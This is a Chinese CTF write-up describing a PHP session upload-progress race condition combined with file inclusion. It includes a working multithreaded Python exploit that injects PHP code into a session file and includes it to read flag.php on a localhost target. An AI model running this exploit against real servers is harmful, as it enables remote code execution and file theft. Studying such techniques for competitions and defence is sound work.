​ 这个思路来自于2019年全国大学生信息安全竞赛一个大佬writeup的web题的一个预期之外的解,出题人应该是想用一个文件包含再加上php反序列化来读取flag文件,下面这个方法没有用到php反序列化就读取到了flag文件。

下面是php7.x中session的默认配置及含义:

  • session.upload_progress.cleanup 是否在上传结束清除上传进度信息,默认为on
  • session.upload_progress.enabled 是否开启记录上传进度信息,默认为on
  • session.uploadprogress.prefix 存储上传进度信息的变量前缀,默认为upload_progress
  • session.upload_progress.name POST中代表进度信息的常量名称,默认为PHP_SESSION_UPLOAD_PROGRES如果
  • _POST[session.upload_progress.name]没有被设置, 则不会报告进度
  • session.serialize_handler=php session序列化存储所用的存储器(其中可能存在php反序列化漏洞)

而此思路就是通过条件竞争,不断地上传恶意代码,在session还没来得及删除就将包含session文件,从而执行恶意代码。可以通过此方法向服务器发送文件。下面是代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests
import threading

url='http://127.0.0.1/index.php'
r=requests.session()
headers={
"Cookie":'PHPSESSID=123'
}
def POST():
while True:
file={
"upload":('','') #上传无效的空文件
}
data={
"PHP_SESSION_UPLOAD_PROGRESS":'<?php readfile("./flag.php");?>' #恶意进度信息,readfile将直接输出文件内容
}
r.post(url,files=file,headers=headers,data=data)

def READ():
while True:
event.wait()
t=r.get("http://127.0.0.1/index.php?file=../tmp/tmp/sess_123")
if 'flag' not in t.text:
print('[+]retry')
else:
print(t.text)
event.clear()
event=threading.Event()
event.set()
threading.Thread(target=POST,args=()).start()
threading.Thread(target=READ,args=()).start()
threading.Thread(target=READ,args=()).start()
threading.Thread(target=READ,args=()).start()